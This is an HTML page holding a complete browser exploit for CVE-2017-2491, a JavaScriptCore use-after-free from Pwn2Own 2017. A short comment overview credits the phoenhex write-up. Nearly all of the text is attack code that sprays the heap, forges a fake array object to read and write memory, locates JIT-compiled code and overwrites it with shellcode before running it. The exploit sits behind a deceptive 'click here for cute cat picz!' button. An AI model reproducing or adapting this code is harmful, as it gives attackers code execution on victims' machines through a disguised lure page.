1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 |
<!-- Sources: https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html Overview The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS. --> <script> function make_compiled_function() { function target(x) { return x*5 + x - x*x; } // Call only once so that function gets compiled with low level interpreter // but none of the optimizing JITs target(0); return target; } function pwn() { var haxs = new Array(0x100); for (var i = 0; i < 0x100; ++i) haxs[i] = new Uint8Array(0x100); // hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100, // which is the butterfly length if hax is later used as a butterfly for a // fake JSArray. var hax = haxs[0x80]; var hax2 = haxs[0x81]; var target_func = make_compiled_function(); // Small helper to avoid allocations with .set(), so we don't mess up the heap function set(p, i, a,b,c,d,e,f,g,h) { p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h; } function spray() { var res = new Uint8Array(0x7ffff000); for (var i = 0; i < 0x7ffff000; i += 0x1000) { // Write heap pattern. // We only need a structure pointer every 128 bytes, but also some of // structure fields need to be != 0 and I can't remember which, so we just // write pointers everywhere. for (var j = 0; j < 0x1000; j += 8) set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0); // Write the offset to the beginning of each page so we know later // with which part we overlap. var j = i+1+2*8; set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff); } return res; } // Spray ~14 GiB worth of array buffers with our pattern. var x = [ spray(), spray(), spray(), spray(), spray(), spray(), spray(), spray(), ]; // The butterfly of our fake object will point to 0x200000001. This will always // be inside the second sprayed buffer. var buf = x[1]; // A big array to hold reference to objects we don't want to be freed. var ary = new Array(0x10000000); var cnt = 0; // Set up objects we need to trigger the bug. var n = 0x40000; var m = 10; var regex = new RegExp("(ab)".repeat(n), "g"); var part = "ab".repeat(n); var s = (part + "|").repeat(m); // Set up some views to convert pointers to doubles var convert = new ArrayBuffer(0x20); var cu = new Uint8Array(convert); var cf = new Float64Array(convert); // Construct fake JSCell header set(cu, 0, 0,0,0,0,// structure ID 8,// indexing type 0,0,0); // some more stuff we don't care about var container = { // Inline object with indebufng type 8 and butterly pointing to hax. // Later we will refer to it as fakearray. jsCellHeader: cf[0], butterfly: hax, }; while (1) { // Try to trigger bug s.replace(regex, function() { for (var i = 1; i < arguments.length-2; ++i) { if (typeof arguments[i] === 'string') { // Root all the callback arguments to force GC at some point ary[cnt++] = arguments[i]; continue; } var a = arguments[i]; // a.butterfly points to 0x200000001, which is always // inside buf, but we are not sure what the exact // offset is within it so we read a marker value. var offset = a[2]; // Compute addrof(container) + 16. We write to the fake array, then // read from a sprayed array buffer on the heap. a[2] = container; var addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + buf[offset + j]; // Add 16 to get address of inline object addr += 16; // Do the inverse to get fakeobj(addr) for (var j = 0; j < 8; ++j) { buf[offset + j] = addr & 0xff; addr /= 0x100; } var fakearray = a[2]; // Re-write the vector pointer of hax to point to hax2. fakearray[2] = hax2; // At this point hax.vector points to hax2, so we can write // the vector pointer of hax2 by writing to hax[16+{0..7}] // Leak address of JSFunction a[2] = target_func; addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + buf[offset + j]; // Follow a bunch of pointers to RWX location containing the // function's compiled code addr += 3*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; addr += 3*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; addr += 4*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; // Write shellcode for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } hax2[0] = 0xcc; hax2[1] = 0xcc; hax2[2] = 0xcc; // Pwn. target_func(); } return "x"; }); } } </script> <button onclick="pwn()">click here for cute cat picz!</button> |